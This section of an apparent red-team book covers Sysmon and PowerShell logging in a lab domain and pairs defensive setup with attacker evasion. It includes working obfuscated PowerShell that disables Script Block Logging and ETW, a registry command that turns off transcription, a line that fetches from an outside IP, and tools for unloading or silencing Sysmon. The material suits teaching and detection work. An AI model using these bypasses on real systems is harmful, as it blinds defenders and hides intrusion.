PowerShell Enhanced Logging and Sysmon
In this section, we are going to explore what Sysmon[24] is and how it can be used to detect attacker’s activities. Sysmon is a system service in Windows that we can install and use to log information about various events, including process creation, various file events, registry access, named pipes, and network connections. Logs stay in Windows Event Collection. Sysmon does not prevent any attacks or provide an analysis of the events. There are a few great projects that can help you get started with Sysmon. A great community guide is provided by TrustedSec[25], and we will use the Sysmon config created by SwiftOnSecurity[26] as it is one of the best high-quality event tracing templates. Two more projects that provide a variety of config files were created by Florian Roth[27] and Olaf Hartong[28].
Let’s install Sysmon, apply the configs from the preceding project, and start digging inside the logs. Installation is straightforward; only one command being run as administrator is required, which is as follows:
Sysmon64.exe -accepteula -i sysmonconfig-export.xml
The expected result is as follows:
Figure 2.11 – Sysmon installation
Now, we are going to enable PowerShell Transcription, Script Block, and Module Logging. To enable them, I will use Group Policy Management on kingslanding.sevenkingdoms.local
. I will create a separate GPO at Computer Configuration | Policies | Administrative Templates | Windows Components | Windows PowerShell. The settings can be seen in the following screenshot:
Figure 2.12 – Group Policies to enable PowerShell Logging
These logging features are intended to provide better visibility for defenders if PowerShell is expected to be used across the organization. Our first control is Script Block Logging, including Warning Logging of Suspicious Commands. There are known bypasses found by cobbr.io (the author of the C2 Covenant Framework) for ScriptBlock Logging[29] and Suspicious Commands Logging[30]. I just slightly modified the code to bypass AMSI and added a bit more visibility:
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`ie`ld"('cachedGro'+'upPolicySettings', 'N'+'onPu'+'blic,Static') If ($GroupPolicyField) { $GroupPolicyCache = $GroupPolicyField.GetValue($null) Write-Host("Before") $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl If ($GroupPolicyCache['ScriptB'+'lockLogging']) { $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 } $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new() $val.Add('EnableScriptB'+'lockLogging', 0) $val.Add('EnableScriptB'+'lockInvocationLogging', 0) $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val Write-Host("After") $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl }
The result obtained from running the preceding command is as follows:
Figure 2.13 – PowerShell Script Block Logging bypass
One point to consider is that our bypass will still be logged until we disable Event Tracing for Windows (ETW) for the current PowerShell session first. This can be done using the following command:
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
We can also obfuscate this command to bypass Suspicious ScriptBlock Logging. Do not rely much on obfuscation as an experienced blue team will de-obfuscate it with the help of a tool such as DeepBlue[31] and immediately launch the investigation. The good thing is that for this bypass, we do not need elevated privileges and only manipulate cached values from Group Policy, so no modification on the host is required.
Two new PowerShell ScriptBlock and Module Logging bypasses were introduced by BC-security in their series of blog posts. The ScriptBlock bypass is based on the fact that the script block that has already been logged will be skipped if it is encountered a second time. The idea is to set the value of HasLogged
to True
before invoking the script. The purpose of the Module Logging bypass was to create a callable command that has no module or PowerShell snap-in associated with it[32]. Part 2 of the blog series showed how commands can be obfuscated to make the defender’s analysis more difficult[33]. Quick prevention recommendations against these bypasses will require the PowerShell Protect module[34].
However, if PowerShell Transcription is enabled, our activity will be still logged in to the file regardless of the preceding bypass. The reason is that even if we disable transcription in the active PowerShell session, it will continue the transcription and ignore the newly changed value. The original way to bypass was shown by Jann Lemm from Avantguard in his blog post[35]. The idea is to create a custom runspace, overwrite the value of EnableTranscripting
, and then open the new runspace. Proof-of-concept code is available in the blogpost.
But what if there is a tool that can help us to bypass everything with almost no manual effort? Well, please, welcome Invisi-Shell, written by Omer Yair. The tool hooks .NET assemblies via the CLR Profiler API, making PowerShell security controls blind. For more details, I highly encourage you to read the tools code[36] and watch the original talk presented by the author on DerbyCon. But keep in mind that the tool is quite old and is easily detected by most security solutions.
The most up-to-date tool to achieve all this was written by mgeeky and is called Stracciatella[37]. This tool is based on the SharpPick technique (launch PowerShell code from within a C# assembly using runspaces) with AMSI, ETW, and PowerShell Logging bypasses incorporated inside. Still, some AV evasion will be required.
Let’s say we achieved administrator privileges on the compromised box and decided to disable transcription by modifying the EnableTranscripting
registry key, located in HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription
. This can be done with the following PowerShell command running from an elevated shell:
Set-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0
But let’s say we have a Sysmon rule, such as the following:
<TargetObject name="PowerShell Logging Changes" condition="begin with">HKLM\Software\Policies\Microsoft\Windows\PowerShell\</TargetObject>
We will get an event that could potentially trigger an investigation:
Figure 2.14 – Sysmon detects registry change
Another good example of Sysmon detection is AMSI provider deletion via the registry, which will create event ID 13 in the log. All the providers have their unique keys. For example, Windows Defender has HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}
. Sysmon can provide much more from a detection perspective if you examine the published configuration files.
Another good example for Sysmon is network connection detection. Let’s try to run something like the following command:
SyncAppvPublishingServer.vbs "br; iwr http://192.168.13.152:443/a"
Sysmon will detect activity, but not prevent the connection:
Figure 2.15 – Suspicious outbound connection detected by Sysmon
We are close to concluding this section, so let’s briefly go through the possible ways to find and tamper with Sysmon. A great guide was created by spotheplanet[38]. An adversary can check process and service names, evaluate registry keys for Sysmon Windows Events, and search for Sysmon configs and tools.
We have two main ways to bypass Sysmon – operate inside rules’ blind spots or disarm Sysmon. Rules bypass will be specific to the environment and may vary significantly. So, let’s have a look at what we can do to disarm Sysmon. Olaf Hartong has an excellent blog post describing possible venues for attackers[39]. Most of the techniques mentioned require highly privileged access on the box and can trigger an immediate critical security incident for the blue team, but they are still worth mentioning:
- Configuration change
- Sysmon service stop
- Suppress logging
- Access/alter configuration via registry
- Process injection in
Sysmon.exe
- Driver renaming
The reliable way to silence Sysmon is by using the Invoke-Phant0m tool[40], which will keep the victim’s machine online but not logging anything, because it kills logging threads. There are also more advanced ways to put Sysmon in quiet mode, such as patching the EtwEventWrite
API[41]. There is remarkable research done by Code White that shows how Sysmon can be hooked and events can be manipulated[42]. Particularly, I would like to mention that this way of disarming Sysmon is probably the most silent publicly available way, as stated that by the researchers[42]: “no suspicious ProcessAccess events on Sysmon are observable via Sysmon or the Event Log making the detection (supposedly) nontrivial.”
Another way is to unload the Sysmon driver completely using a tool called Shhmon[43]. It allows the attacker to find even renamed Sysmon drivers and unload them. We can also use a built-in utility called fltMC.exe
or the misc::mflt
Mimikatz module for the same purpose. Anyway, there are notable events left in logs that can be used to hunt for this technique.